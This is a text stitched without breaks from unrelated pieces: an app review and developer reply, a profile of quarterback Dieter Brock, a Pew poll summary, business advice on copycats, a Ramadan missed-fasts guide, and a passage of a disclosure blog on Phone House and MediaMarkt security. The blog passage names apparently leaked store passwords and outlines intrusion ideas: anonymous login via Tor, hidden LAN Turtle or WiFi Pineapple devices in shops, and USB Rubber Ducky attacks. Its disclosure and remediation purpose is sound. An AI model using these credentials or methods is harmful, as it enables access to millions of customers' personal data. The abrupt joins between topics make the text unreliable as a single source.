actually support? I can't donate to it because I already donated to it previously. Get some more causes where I can actually do what this app says it's all about- donating photos so that money is raised for charities- and don't limit the number of pix I can donate to them (except the rule of 1/day or something like that is fine) and I'll up the rating. In the meantime, I'm going to focus more on Johnson & Johnson's Donate a Photo where all the causes get $1, I'm not cut off after I've donated several photos, and the only rule is you can only donate 1/day. Developer Response, Hi McKat75 – First, I would like to thank you for being an active user and for posting photos to help support great causes. Also, we are always open to feedback from our users and we appreciate you taking the time to write such an honest and constructive review. Please know that it has always been our goal to regularly add new campaigns so that people can use their photos to raise awareness and support for the things they care about. In fact, we are currently working with several sponsors (brands and individuals) to create new fundraising campaigns, which we plan to be adding in the coming weeks and months. At the present time, we have 8 different fundraising campaigns available on our platform. Just in case you haven’t seen all of them, you can view all of the campaigns by tapping on the magnifying glass in the upper right corner on the Featured Page. We are a still a startup with a very small team and limited funds, but we are determined to make an impact. We have even committed $25k of our own money to funding campaigns for various causes. We have also been fortunate enough to work with some great brands, which have generously sponsored campaigns to support some amazing causes, and we are proud to say that 100% of these donations went directly to the charities supported by their campaigns. I’m not sure if you participated in the Marvel Studios Hero Acts campaign, but it was our first fundraising campaign that allowed people to post multiple times (up to 100 photos). We even added donations for shares to Facebook and Twitter. Based on the success of this campaign and feedback from users (like you) we are now working to create additional campaigns that will allow multiple posts. The first of these is our Add A Panda campaign, which allows people to post up to 10 photos, with each photo unlocking a $1 donation to the World Wildlife Fund to help protect Giant Pandas. Please understand that it will not always be possible for us to offer multiple posts for a fundraising campaign, especially for those that offer larger donations for individual posts – some of our campaigns offer $5 to $25 for a single photo. We really hope that you will continue to check back from time to time in order to discover new campaigns. And, in the meantime I would love to hear any additional feedback and ideas you may have for ways that we can make the Fotition experience better for everyone. If you send an email to contact@fotition.com and put it to my attention, I will get back to you quickly and we can set up a time to chat on the phone, if you’re interested. Thank you again for your support, Christian Johnson CoFounder & CEOScroll to continue with content Ad Story continues In the midst of a crazy season for many NFL quarterbacks, Alex Smith of the Kansas City Chiefs became the only one since 1985 to start 7-0 in his first year with a team. Dieter Brock did it last in his weird, rookie year with the Los Angeles Rams.Smith can only hope his fate does not continue to follow that of Brock.After that 7-0 start in 1985, Brock lost four of the next six games and, although the Rams made it to the NFL Championship, that was something best forgotten.For NFL fans who don't remember Brock, there is good reason. He entered the league as somewhat of a mysterious, mythical southern boy by way of the northern tundra and quickly vanished, lasting only that one season. But it was a dramatic one -- he threw for 2,658 yards and 16 touchdowns and had a passer rating of 81.8, all franchise records for a rookie -- although he was 34 years old.A 34-year old rookie? How's that? The more appropriate interrogative might be... eh?Born in Birmingham, Ala., Brock played at Auburn and Jacksonville State. Then, after being ignored by the NFL, he went to the Canadian Football League and carved out a legendary career with the Winnipeg Blue Bombers and Hamilton Tiger Cats (1974-1984), earning a spot in the CFL Hall of Fame.So Canadian football fans remember Brock well, especially those of the Blue Bombers, who just last August mounted a mini-campaign to recruit him as the team's coordinator on offense. Or, as many of the Canadian tweets specify, "offence."In the CFL, Brock completed 2,602 of 4,535 passes for 34,830 yards and 210 touchdowns. He was the CFL passing leader in 1978, 1980, 1981 and 1984. Add his one year with the Rams and Brock's pro football passing yardage of 37,488 would -- just for perspective -- rank 17th in NFL history, just ahead of Donovan McNabb and Jim Kelly and just behind Joe Montana, Johnny Unitas, Dave Krieg and Boomer Esiason, names that NFL fans certainly remember.Brock played for the Tiger Cats in the 1984 Grey Cup championship, losing to his former team, the Blue Bombers, who traded him away in 1983."After that I wanted to try the NFL and we got serious with five teams, including Buffalo, who really wanted to sign me," Brock told The Sports Xchange this week in a phone call from his Birmingham home. "Buffalo was almost an extension of the CFL for some fans, but I'm from Alabama and I wanted better weather and a better team, so Los Angeles looked good."Smart move, considering the Rams also had a great offensive line and a running game that featured Eric Dickerson setting the NFL single season record of 2,105 yards in 1984."He calls up and comes in for a workout," John Robinson, head coach of the Rams at the time, reminisced this week with The Sports Xchange. "We shake hands and first thing I notice is his arms look like Popeye's. Huge. Then he throws a few balls and it was really shocking."Brock's throwing arm was legendary back home in Alabama, where he was nicknamed the Birmingham Rocket and was known for using a weighted ball to throw while working out. In Canada the legend grew, with tales about him throwing the ball 93 yards in the air, and 55 yards while down on one knee."I taped pellets to the balls -- four pounds, three pounds, two pounds -- and by the time I threw a 14 ounce football, it was light," he said. "I worked out like a javelin thrower to strengthen my arm. All those stories are true about how far I could throw."And Robinson was a believer."I'd been around a lot of strong-armed quarterbacks, including Dan Fouts," Robinson said." But this guy had the strongest arm I ever saw. It was a rocket launcher. Those tales about how far he could throw were no bull."So, exit well-liked quarterback Jeff Kemp, who managed the Dickerson-led offense. Enter the mysterious Birmingham Rocket, via Canada."They said we would open up the offense, throw a lot more," Brock recalled. "It never really happened."Passing was never really a major part of Robinson's DNA, at USC or in the NFL."Passing is a good concept, but we had Dickerson, we were a running team," admitted Robinson. "We wanted a quarterback who could run things and not screw it up. The fact that defenses knew Brock could throw a mile was probably helpful."Honestly, the main reason we got Brock was he didn't cost a lot, which was always a major factor. Great kid. Quiet, professional, hard worker with football smarts, listed at about 6-foot but had that huge arm."The media, with which the likeable Kemp was friendly, never warmed up to Brock and rode him mercilessly, often without reason. Even fellow players didn't know what to make of the 34-year old newcomer. When Dickerson first met Brock he said, "Man, he is old.""We had a great start at 7-0," Robinson said. "Then our last game was the NFC Championship in Chicago against that great Bears team."It was ridiculously cold. I told Dieter, 'hey, this must feel right at home, just like Canada.' He said, 'yeah, it's great, I feel great.' But he was wearing gloves. That should have been my first clue. It got really ugly."In what turned out to be his last game, Brock completed only 10 of 31 passes for 66 yards, one interception and was sacked three times as the Bears mauled the Rams, much as they did most teams that season, 24-0."The next year Brock got injured in preseason," Robinson said. "We acquired Jim Everett and, well...""I moved to coaching," said Brock, who began his new career back home at the University of Alabama-Birmingham, then as a popular offensive coordinator for several CFL teams and he even helped with high school teams in Alabama.Brock still thinks of coaching, but stays close to home these days with his wife, Jamie, who developed epileptic seizures a few years back. They have two children, Kaleb (14) and Hayley (18). He follows the CFL on TV and the internet and has a devoted Twitter following north of the border.He helps when teams call for advice, but nothing came of this year's mini campaign by Winnipeg fans who clamored for his return as a coach."It's nice to know people remember you and appreciate you somewhere," he said.Even if it isn't the NFL.Frank Cooney is the publisher for The Sports Xchange and a 20-year member of the Pro Football Hall of Fame selection committee. He covered Dieter Brock's eighth game in 1985 when the San Francisco 49ers jumped out to a 28-0 lead en route to a 28-14 win as Brock completed 35 of 51 passes for 344 yards and two touchdowns, but was sacked four times and threw three interceptions.A new study on reactions to the fatal shooting of Michael Brown has been conducted by the Pew Research Center for the People & the Press. The study finds that reactions are sharply divided between blacks and whites, with black people twice as likely to say that the shooting "raises important issues about race that need to be discussed." 44 percent of those polled believe that the case raises important issues about race, while 40 percent think race is getting more attention than it deserves. Among these respondents, 80 percent of African Americans say that issues of race are worth discussing, while 47 percent of whites think it is getting too much attention. Advertisement: While two-thirds of African Americans polled believe that the police response has been excessive, only a third of white respondents agree, with 32 percent saying the response is about right and 35 percent declining to respond to the question. Respondents were also divided along age and party lines. According to the Pew Research Center: Fully 68 percent of Democrats (including 62 percent of white Democrats) think the Brown case raises important issues about race that merit discussion. Just 21 percent of Democrats (including 25 percent of white Democrats) say questions of race are getting more attention than they deserve. Among Republicans, opinion is almost the reverse -- 61 percent say the issue of race has gotten too much attention while 22 percent say the case has raised important racial issues that need to be discussed. By a wide margin (55 percent to 34 percent), adults under 30 think the shooting of the unarmed teen raises important issues about race. Among those 65 and older, opinion is divided: 40 percent think the incident raises important racial issues while about as many (44 percent) think the issue of race is getting more attention than it deserves. The study was conducted from Aug. 14-17 among 1,000 adults aged 18 or older via telephone.No matter what businesses you’re in, you have to deal with copycat competitors. You can’t escape. Competitors who steal your strategies, your moves, your plans and sometimes even your name and logo, too. Should you worry about it? Of course, you should. It happens more often than we think in this online world where stealing and copying others ideas are much easier than offline. What to do when someone is copying your business? Having a competition in business is good, you shouldn’t worry about it. But if the competitors have an evil plan to kill your business with your weapons, then it’s time to get serious and ready to fight. I am not saying that you attack your competitors’ office with a rocket launcher and missile. What I mean to say is, it’s time to get serious and change your strategies and plans that keep you two-step ahead of your competitors. Here are some of the strategies smart companies use to deal with copycat competitors: 1- Stay calm and don’t lose your mental health Competitors. If you have competitors, it is obvious they will try to copy some of your moves. You should take it positively. However, it’s frustrating and disappointing. But it’s also exciting too! At least, we’re doing something right. Change your mindset towards your competition and see the positive side, if you only would’ve in the business, you might never know the other challenges of your business. They are followers they are following the strategies that you had already done 1-2 years ago. You’re already ahead of them; the competition thing shouldn’t lose your temper. Relax and enjoy your success. 2- Fix a meeting with your lawyer Sorry, I am not an attorney, so I can’t help you with this, but your lawyer can. 😉 Contact your lawyer and see what he can do in this matter. What are the legal steps you can take against your rival company if needed? Nevertheless, I can find you an attorney, but every case is different, and it would be better you find an expert yourself. 3- Ride on your time machine and fix as much as you can Riding on a time machine? Wow! How exciting, isn’t it? I am not talking about that time machine from the movie The Time Machine. Instead, I am saying go back and fix everything trademarking, every logo, image, article, product description, tagline, and whatever other materials you can. By doing so, you can save lots of time and money which you might have to do in the future if you don’t do that right now. Protect your future and register everything legally and keep the proof. I know it’s annoying, but to keep away from the future trouble you have to do that. 4- Don’t bad-mouth the copycats in public Think twice when you are responding to competitive attacks. I know you have right to speak, but sometimes keeping silence works better than talking nonsense. Saying something against them will draw people’s attention towards them and will provide them extra attention. Some companies hired people to write fake reviews and try to show as angry customers have posted that. These types of the cheap act never let any business grow. So, better for you to avoid this kind of stupid activity. 5- Stay Smart and Stay Cool Show them like nothing has happened, trust me it will kill your competitor right away. If multiple players are playing the same game, you are going to learn new moves and also will uncover your limitations. Accept it; there is plenty of business to go around for everyone, even if you want, you couldn’t handle 100 percent of it. So, be nice and share some with others. Even though thousands of other brands providing similar products like yours, the truth, is every single one of them will be different. A smart company does not focus on multiple products at the same time. Instead, they concentrate on a few products and make them better for their users. 6- Keep an eye on your competitor and learn from them Copycat competitors are the reality of business; you can’t deny it. Without them, you may be careless; there will also be nothing to motivate you and do business development. Relaxed and keep an eye on your competitors to learn new skills, what they are doing better than you. If you see every other company as a threat, you might miss some great partnership opportunities. For instance: A freelance designer who thinks he is competing against another designer in his space. Once he changes his thinking process, he finds the same designer is willing to hire him to help with overflow work he doesn’t have time to take on. In business, you have to be fearless and bold. Make yourself available for your potential partners. Haters will hate, they will mimic, they will try to stop you, but you have to take all these as a compliment and keep moving forward. 7- Accept limitation and Focus on your strategy If the competitor has copied your business strategy, service offering or model, don’t get nervous, take it as a challenge and do it better than them. Offer your clients the value they deserve. If we see it as a long-term point of view, the company that provides the best value to the customer will be in the game. Don’t cut your price; it is the first indicator of value. Have you ever encountered any copycat competitors? If yes, how did you deal with that, what was your best strategy to deal with a copycat competitor?+1 Share Pocket WhatsApp 2 Shares Ramadan is coming up and Alhamdullillah that we are alive to begin preparing for it. Coming up is another chance to earn Allah’s mercy, seek forgiveness for our sins and gather all the barakah that we possibly can. Alhamdullillah! Unfortunately, I missed fasting during Ramadan last year; I was too sick to even attempt to keep fasts. I was undergoing chemotherapy and my last session was a day before Eid. But the truth is that these fasts are not the only ones I have missed in my life. Thinking back, I have missed fasts in previous Ramadans, due to traveling, sickness or pregnancy. Some fasts are from a few years back that I have yet to complete. Yikes! That is a lot of fasts. Are you in a similar situation like me? The fact is that sisters will inevitably miss fasts due to reasons like pregnancy, breastfeeding and menstruation. If we don’t keep track of these fasts, sooner or later you will lose count of the number of fasts you have missed. What we need is a method to count and a plan to make up missed fasts. Are you feeling a little jittery about the number of fasts that you have to make up? (I know I am!) Come on, grab a pencil, paper, and a calculator and follow along my simple method for counting missed fasts. We’ll then learn the rulings on when missing fasts is allowed, and explore the various ways in which we can make them up to get make up as many of them as we can before Ramadan, in sha Allah. Are you ready? Bismillah! We should first ask ourselves: “Why do I want to or need to make up the missed fasts?” Allah says: “…Allah intends for you ease and does not intend for you hardship and [wants] for you to complete the period and to glorify Allah for that [to] which He has guided you; and perhaps you will be grateful.” [Qur’an: Chapter 2, Verse 185] Alhamdulillah, Allah grants us concessions when we are traveling, sick or pregnant, but fasting during Ramadan is obligatory, so we must make up these missed fasts as soon as possible, preferably before the next Ramadan begins. Reminding ourselves of this will renew our intention and make us firm in our aim. If of course, like me, you have missed fasts from many previous years, the first step is to secure your intention to make them up and then count the missed fasts. Counting Missed Fasts 1. Draw a table with five columns: Year: the year in which you may have missed fasting Completed Fasts: how many fasts you did manage to complete that year Missed Fasts: how many fasts you missed during the Ramadan of that year Reasons for Missed Fasts: the reason for which you missed the fast (see below) Done: where you will make a note of missed fasts that have been made up 2. In a vertical list, make rows, writing down the year from which you officially started fasting (the year menstruation began) and end the list at 2014. 3. Now, before we begin calculating the number of missed days, it would help to remind ourselves of the situations that make it permissible to skip fasting during Ramadan. This will refresh our memory and remind us of any circumstances we have faced in past Ramadans that we might have forgotten about. According to scholars, one is allowed to give up fasting during Ramadan if they are: sick menstruating traveling pregnant or breastfeeding (if your health does not allow you to continue fasting) in old age suffering from intense hunger or thirst under compulsion So, with these in mind, start with the most recent year (as it will be the freshest in your mind) and recall if you faced any of these circumstances and write the number of missed days in 2014. For me, it would be 30. So in the column for “Completed Fasts”, I put 0; for “Missed Fasts”, I put 30 and for “Reasons for Missed Fasts”, I put sickness. Following these steps, work backwards, thinking of all the reasons that excuse one from fasting and fill in each column. If you didn’t fast during Ramadan due to pregnancy, then simply write the number of days corresponding to the year of birth of your children, with the same method being applied to any years that you were breastfeeding. It will look something like this: What if you don’t know exactly how many fasts you have missed in the past year? If you are counting fasts missed from many years, it may be difficult to remember how many you missed and why. In this case, you need to think hard and estimate the most likely number of fasts that you have missed. Generally, sisters are aware of fasts they miss due to menstruation, so these should be fairly easy to remember. Commit to Making Up Missed Fasts So, have you finished counting the number of days you did not fast? Does it look like it’s a lot? Well, mine looks overwhelming too! But not to worry, in sha Allah, Allah will make easy for us anything we are sincere about, as He says in the Qur’an: “Allah burdens not a person beyond his scope” [Qur’an: Chapter 2, Verse 286] Let’s begin preparing our game plan on how to reduce this number, in sha Allah. It’s important to remember that it would help to start with small, manageable goals rather than big ones, as the latter have a greater chance of failing. When I finished chemotherapy and started getting better, I planned to complete missed fasts during the following December, so that all my missed fasts for 2014 would at least be completed. But I was in for a huge disappointment. I couldn’t do it. And I blame my failure on my “big” plans more than my health. Had I made small goals and started sooner, I would have been able to manage them! Organize your timetable and yourself for fasting Fasting and managing normal life is so much easier in Ramadan, due to the atmosphere of Ramadan, everyone around us is fasting and of course, because the month of Ramadan is filled with Allah’s blessings! So during the year, if we begin with a focused approach and planning, fasting will not only be easy, but also enjoyable. 1. Mark the days on the calendar in which you plan to fast: Begin now and continue even after Ramadan ends. Fast in small manageable chunks (2 or 3 days a week), to develop a solid routine where you check off fasts that you have made up. Planning in advance will also give you a heads up so you can plan your groceries, cooking and appointments accordingly. 2. Grab a lunar (Islamic) and a solar (Gregorian) calendar: Mark the days on the solar calendar that coincide with al ayyam al beed, the white days (13, 14, 15th of each Islamic month) in the lunar calendar and also prioritise fasting on Mondays and Thursdays, in accordance with the Prophet’s sunnah. 3. Get your dua book ready: This is something that I would really like to do this Ramadan. In this dua book, write down all the duas that you want to make in your own language, for yourself, spouse, children, parents, friends, cousins, the ummah, mankind, any issue that is troubling you and something that you really want. Organize recommended duas from the Qur’an and Sunnah so that you become familiar with them now until they are second nature to you during Ramadan. Try to go through these duas after praying tahhajjud, after salah, on Jumu’ah and after iftar, as duas are readily accepted at these times. 4. Create a “Make Up Missed Fasts” club: This can be easily created both virtually (via Whatsapp groups, Facebook groups etc) and physically in person (with your mother, sisters or friends). Ask sisters whom you know if they also want to make up their fasts. It is so encouraging when others are doing it too; you can motivate each other by taking turns to wake the others for suhoor, check up on how fasting is going, and send duas at Iftar time. You will feel a real sense of sisterhood, In sha Allah! Commence! Now you are ready to begin fasting! The ideal time to make up
is the fourth most used password in 2014. Phone House employees must lack creativity or just don’t care. Also the dealer portals don’t enforce strong passwords. Looking at the passwords Welkom03 and Mediautr03 it seemed that a password change policy was active on some systems that forces users to regularly change their passwords. It seems like Phone House employees have found a system to circumvent that protection by incrementing the digit of their password each time. They have probably already done so twice. Giving user accounts the initial password Welcome01 is de facto standard in companies, as this one complies to most password policies: it consists of upper and lower case characters, and also contains multiple digits. You should welcome your new users, right? User name analysis All the user names in the password file are non-personal. This means that telecom providers and Phone House can’t hold account of who exactly logged in with a given user account. Also, if a Phone House employee quits the company, all passwords of the shared non-personal accounts should be changed. Given the circumstances I highly doubt this to be the case. Even if the passwords for some accounts are regularly changed, the most important password, that of the Google Account in which the password database is stored, seems to be static: Utrecht12345. Opening up the dealer portals The password sheet contained all kinds of portal names, but their internet addresses weren’t located in the file. In order to estimate the risk involved, I needed to find out if these portals were freely accessible over the internet, so I started googling them. Within a minute I found that the employees of a Phone House store located in the city of Joure created a public link directory with all locations of the dealer portals they use: I clicked on all dealer portals to see if they were freely accessible via internet, and quite a lot of them actually were: ADSL/Digitenne/IPB KPN : Login screen visible ADSL/Digitenne/IPB Overig : Login screen visible BEN : Just links to the main Ben website Dynafix : Login screen visible HSF verzekeringen : Login screen visible Klantvoordeel KPN/Hi/Telfort : Error message is shown KPN Compleet indicatie : Error message is shown KPN Deal-It : Login screen for business market visible. Login screen for customer markted protected via IP address whitelisting KPN Vamos : Error message is shown KPN Verkopers informatietool : Link redirects to main KPN website T-Mobile TAS : Login screen visible Tele2 Nieuw : Login screen visible Tele2 Verlenging : Login screen visible Telfort : Error message is shown Vodafone U-Buy (Spice) : Error message is shown Vodafone Distrubutie support : Login screen visible Yes Telecom Business : Login screen visible Youfone : Login screen visible Ziggo : Login screen visible Ziggo Mobiel : Link redirects to main Ziggo website Six portals seemed to use mutual SSL/TLS authentication and/or IP address restriction, like it should be, but twelve portals were freely accessible. This means that I could log in as a Phone House employee on those dealer portals and manage the configuration of customers. I didn’t log in. If I had done so, I would have broken the law and I never do this. I could use the easy to use Tor Browser Bundle in order to masquerade my IP address. That way I could perform the unauthorized access completely anonymous, leaving no traces. That ‘crime’ would be hard to solve. Circumventing IP address restriction The portals that have IP address range restriction set-up, can easily be defeated by covertly installing a LAN Turtle or mobile broadband enabled WiFi Pineapple in one of the MediaMarkt shops, so remote access is gained to their internal network and thus the IP address restriction can be circumvented. Finding a network cable or socket to attach the remote access device to is fairly simple, as MediaMarkt is an electronics shop, and customers have easy access to all kinds of occasional unmanned support desks which are located everywhere in the shop. I had quickly located several vulnerable spots. Impact of leak My personal estimation is that Phone House, via dealerships, has access to personal data of basically all Dutch citizens who own a mobile phone. That would be somewhere between 10 and 14 million people; only counting the people who are alive. But I guess these portals also contain data of deceased people. Black hat private detectives, stalkers and fraudsters would love to have direct internet access to such a trove of personal data. I discovered my findings had been applicable to all MediaMarkt and Phone House stores for over a very long period of time. More on that later. Back to Phone House Joure The Phone House store in Joure created a Google Sites website in order to host their links on. Wondering how recent the link directory was, I clicked on the ‘recent site activity’ link in the footer: The complete history of all site modifications was shown. Including a change to a specific file that had nothing to do with the link directory: I clicked on that specific file to see what it could contain: Things were getting weirder. What I saw seemed to be internal financial administration of Phone House Joure. Somehow I got the feeling this was private company data and not meant to be seen by others. Or has Phone House got a really transparent policy towards their provision and sales data? Okay, I’m not to investigate this particular matter any further. I digress. Back to the password story. Computers are never locked What I noticed as well, was that every time service & sales employees leave their computers, they never-ever lock it. So people walking by have full and easy access to it. Furthermore, on all occasions that I was able to look at the password file, it had already been opened by the employee. They just had to press ALT + TAB to re-activate it. Leaving a computer unlocked when walking away makes it very easy for an attacker to obtain passwords. Also, I noticed this specific computer had easy-to-reach USB ports. I could perform a USB drive by attack with a prepared Rubber Ducky or Teensy, with which I could have gained remote access to the computer within 10 seconds. Auto completion of passwords Web browsers of Phone House computers are configured to save user names and passwords and pre-fill them (most of the times) whenever they’re navigating to a login screen. A computer user only has to press the ‘login’ button to enter the system. Permanently storing passwords in browsers is risky as they are by default stored non-encrypted on the computer. A master password could be configured to open the browser password store (and add encryption), but practice unfortunately shows that most users never configure one. Opening up a customer file Another remarkable thing I noticed, was that I only had to give my telephone number to the Phone House employee and subsequently my Vodafone file would be opened. No other security questions were asked to validate my identity. However, a reverse validation question was indeed asked: “Do you live at address [..]?”. I malicious person would of course reply: “Yeah I definitely live there”. What should have been the case Summarizing the situation; how should it have been done ideally? Improvement points for Phone House and MediaMarkt: Don’t write passwords on post-its stuck onto monitors. Don’t let (potential) customers look in on the screen an employee operates on. Physically shield the viewing angle of the computer monitor. Apply a privacy screen on the monitor to further minimize the viewing angle. Create strong passwords. Change passwords frequently. Lock computer screens when leaving the computer. Never use a non-personal account with multiple people. Create individual user accounts for all employees. Change the passwords of non-personal accounts when an employee who had access to those accounts quits the company. Use a safe password store, such as KeePass, that shields passwords and uses strong file encryption. Don’t store the password database in the cloud. If a cloud solution is nevertheless used (and still, keep your password database out of it), use a cloud provider with a data center in The Netherlands so that intelligence agencies such as NSA and GCHQ don’t have direct access to your files. Never store passwords on a computer without encrypting them. Always close the password database file after coping the password that was needed. Protect user accounts (such as the Google Account) with multi-factor authentication (such as Google Authenticator). Don’t publish links to dealer portals publicly on the internet and also shield your financial administration. Perform decent checks to validate if a customer is really who he says he is: When working with personal data in a store, always ask to see the customer’s identity card. It’s mandatory in The Netherlands to have one on you at all times. If a customer calls the service desk, call him back on the telephone number that is linked to the customer’s account. Disable USB ports on computers via a software or hardware solution. Train your employees in IT security and privacy practices. Create the right corporate culture so that security and privacy is propagated by your employees. Improvement points for telecom operators: Make sure dealers have the possibility to create individual user accounts for their employees. Apply IP address restriction on dealer web portals. Require a client HTTPS (X.509) certificate when setting up a connection to a dealer web portal. Enforce a strong password policy, such as: a minimum password strength of eight characters; a password that isn’t known in brute force password lists; add custom complexity rules: enforce the use of upper, lower case, numbers and special characters; passwords can’t be the same as user names; enforce that passwords are regularly changed; enforce that changed passwords aren’t re-used and are substantially different in comparison to previously configured passwords. Make sure that your web portal supports multi-factor authentication. Disable the HTML AutoComplete option in web forms that process authentication data such as passwords. When summing it all up, you see it’s quite a list of things that went wrong (!). It makes me very sad that all mentioned above still isn’t regular practice for businesses in 2015. MediaMarkt threatens to sue me and denies everything It’s time to contact Phone House and MediaMarkt and tell them about my findings (October 4, 2015). As I had the direct e-mail address of the responsible MediaMarkt department in Utrecht (it was visible in the password file), I mailed them my findings. They didn’t respond. A few days later I got an e-mail from the store manager of MediaMarkt Utrecht Hoog Catherijne and he threatened to sue me if I went public. There you stand as a good willing civilian just wanting to make the world a safer place. I think it’s childish and also a very hostile response towards someone who simply notifies you of a critical security vulnerability that your company is responsible for. It’s like shooting the messenger. To go even further, MediaMarkt denied I could get access to web portals which are hooked up to the internet with the captured login details. This response demonstrates the fundamental lack of knowledge about how the internet works. I’m not crazy: if I have login details and if the login screen is accessible over the internet, then I can log in with those credentials. Simple as that. But I didn’t do so, since it’s illegal. MediaMarkt dismissed all my findings as “appearance of insecurity”. Talking about ignorance … They concluded their e-mail demanding I destroy the pictures I took of their passwords within 24 hours. I replied explaining how responsible disclosures work and that this attitude towards me is damaging their own company. To eliminate any possible anxiety people have when in contact with a hacker, I clearly stated my intentions were good. This luckily had a positive effect and the next day I was invited for a cup of coffee. More on that later. Contacting the affected telecom providers As I had anticipated such a lame initial response from MediaMarkt and Phone House to be possible, I had also taken time to inform the telecom providers involved. These providers are very important stakeholders for Phone House and can apply the right company-pressure in order to fundamentally improve security and privacy practices. In comparison to MediaMarkt, all involved providers were very polite towards me. I have to give special credits to the KPN computer emergency response (CERT) team. They contacted me frequently about their progress and also immediately set a minimum password strength policy on their dealer portal, so one character passwords weren’t possible anymore. KPN has become very capable of handling responsible disclosures ever since they were badly hacked in 2012. Kudos for them. They were also the only party involved to give me a nice bounty: The Vodafone security guy also was very kind towards me, as well as Tele2, who took time to learn about the whole story. Status: two weeks after disclosure Two weeks after I had contacted all parties involved, I went back to the MediaMarkt store, cause I was in need of a birthday present for a friend. I also had a genuine question about my Vodafone subscription. When entering the shop, I saw no more passwords written on post-its stuck onto monitors. Things were looking better! So I went to the telecom desk with my question. The employee logged in on Windows with a password that ended with 1234. I couldn’t see it clearly, but I think the first password part was media. Cool, they had also changed their main Windows password and made it more secure by adding an additional character. media1234 is so much more secure compared to media321. Good job! Then the employee logged in on another system. He hit character 1 and with one smooth and fluent movement only stopped his finger at character 8. I’ve never before seen anyone entering password 12345678 in one smooth swipe like this. It really looked cool! Subsequently, he opened up the notorious Excel password file in front of my eyes. Some passwords had been changed, many had not. Actually, nothing really had changed. MediaMarkt, we need to talk. Having coffee together A few days later (October 22nd, 2015) I went to meet the store director face-to-face. Given the circumstances, the start of the conversation was slightly uncomfortable. I was told they initially misinterpreted my intentions and had seen me as a bad hacker. Once the ice had been broken, I told him password gate had not yet been fixed and urged him to take action immediately. He said he was waiting for Phone House to act since it was their infrastructure and personnel. I told him I wanted the vulnerabilities to be fixed before I was going to publish this story. To add pressure, I added that I didn’t want to wait very long with this publication. As a quick and dirty fix that would close the most important gate in five minutes, I suggested they make the font color of the passwords in the Excel file black, as well as the background color of the cell. This would still enable the telecom employee to copy the password to the clipboard, but the password would not be visible anymore when shoulder surfing. I told him to apply this patch himself and shouldn’t wait for Phone House to do so. A week later Curious to see if progress had been made, I sat down with the director a week later (October 28th, 2015). Our earlier conversation had impact since directly afterwards various actions had been performed and internal company pressure had increased to set priorities right: All my recommendations (as mentioned above) had been sent to all fifty MediaMarkt stores in The Netherlands and to Phone House as well. They had chosen a safe software product to store their passwords on. A lengthy manual had been written (they even showed it to me); so their employees would know how to use it. Privacy screens had been installed and the secure password database was now implemented in the MediaMarkt store in Utrecht. The director asked me to wait with publication for a few more weeks as Phone House had planned a road trip to install their new password store software in all their shops, of which there are quite a lot. I told the director I had not heard anything from Phone House yet and given the circumstances I felt as if I was being ignored. He relayed that feeling and the next day I got a friendly call from Phone House. Having coffee together helps! TalkTalk gets hacked As I first began writing this story, the large British telecom provider TalkTalk got hacked. On October 30, 2015 they confirmed the following numbers: Total number of customers whose personal details were accessed is 156,959; Of these customers, 15,656 bank account numbers and sort codes were accessed; 28,000 obscured credit and debit card numbers were accessed. According to TalkTalk “these criminals were very smart” and the attacks were “sophisticated”. A week later the BBC reported that four people have been arrested over the hack so far: a boy of 15 in Northern Ireland, a 16-year-old boy from west London, a 20-year-old Staffordshire man, and a 16-year-old boy in Norwich. When it can be performed by teenagers, I wouldn’t call a cyber attack very smart and sophisticated. But, perhaps calling it that way says more about the competence of the telecom company than about the perpetrators. Controversial detail is that this is the third hack on the TalkTalk website since February this year. Apparently TalkTalk is not the only telecom provider with bad IT security. Final words The password database gate of Phone House could be exploited by anyone with basic computer skills. You only needed a camera and knowledge of how to use a login form. I hope this story is a wake-up call for everyone who works with computers and handles personal data of others. As an IT security consultant and professional ethical hacker, I work for many different kinds of businesses every week and analyse their security. I won’t (specifically) name my customers as I’m very loyal to them. But believe me when I say that Phone House and MediaMarkt aren’t the only big companies with terrible IT security. Nowadays it’s actually standard (really!). Only banks and the military have the budget to get the right IT security. Unfortunately even they get very vulnerable on occasion. Should things be fundamentally changed in our society regarding IT security? Or do we accept the fact that we’re inherently insecure? How about in 10 years time when our houses, cars and human bodies are hooked up to the internet? And what about our critical water, food and energy infrastructures? Oh uh, those have already been connected to the internet. Update, December 10th, 2015 Via a trusted friend I heard that not too long ago, he noticed that the MediaMarkt in the city of Drachten also uses a very weak password, a similar numeric password as used by MediaMarkt Utrecht. One that can be entered with a fluent finger swipe as well and which isn’t eight characters long ;-) Also, from another trusted source, I heard MediaMarkt Utrecht still uses weak passwords. Phone House seems to be incorrigible on this matter. Or perhaps strong passwords are simply too difficult? Furthermore, a lot of journalists have recently contacted Phone House to verify my story. Their initial response on the first day of the publication was complete denial; a typical example of damage control by large companies. As media picked up on my story (despite the denial), Phone House soon realized the genie was out of the bottle and admitted to a journalist that names and addresses of customers, and also in some cases a copy of the drivers license and passport could be visible in customer files in internet-facing dealer portals. The existence of the infamous password Excel file has been confirmed by various readers (#1, #2, #3, #4) on well known Dutch news site Tweakers and also on Twitter and Reddit. More shocking however, is the fact that one reader found out the Excel file was still being used at a particular location last week. Allegedly a MediaMarkt employee anonymously states on onemorething.nl that no security changes have been implemented by MediaMarkt yet (in the specific location he/she works in?). Despite all efforts, the security problem seems to be far from fixed! :-( Anonymous comments on Tweakers from (ex) (dealer) telecom employees (#1, #2, #3 #4) who work with these vulnerable systems, show us that MediaMarkt employees were all shocked by the (easy) accessibility of personal details via their computers. They confirmed they had access to millions of records but stated that these records could only be retrieved one-by-one (after performing a simple search for a specific customer record). One comment named the following personal details to be visible in Phone House’s computer systems: Name; Address; Telephone number; E-mail address; Date of birth; Bank account number (without the last three digits); (Often) a complete copy of an identity card including the personal state registration number (in Dutch: burgerservicenummer). In reaction to this blog post many people point out that Phone House (as well as MediaMarkt, probably) is liable to receive a fine of up to ‚¬ 820.000 if this incorrect security situation is still persistent on January 1st, 2016. Since on this date new strict privacy legislation enters into force in The Netherlands which obliges companies to report security incidents. The government then subsequently has authorization to fine companies if a grave violation in protecting personal privacy indeed has been committed. I might have saved MediaMarkt and Phone House quite a lot of money! Sebastiaan Pouyet suggests on Twitter Phone House should haven given me a ten minute free shopping spree in MediaMarkt. Of course I could never turn down such a tempting offer ;-) Update, December 13th, 2015 It turns out MediaMarkt is not the only one with passwords attached to their monitors. The official Dutch state news organization (NOS) appears to be ‘guilty’ here as well. Luckily, this time I didn’t have to take a picture since a NOS employee had already done so himself and even posted it on Twitter on December 11th, 2015: The password is Welkom01. The very same weak password Phone House used. When someone on Twitter notified the NOS employee of this password leak and also alerted him to my (blog) story, he replied by saying that he had already read my story and thought it to be good. Although it had not immediately made him change his own weak password or remove the 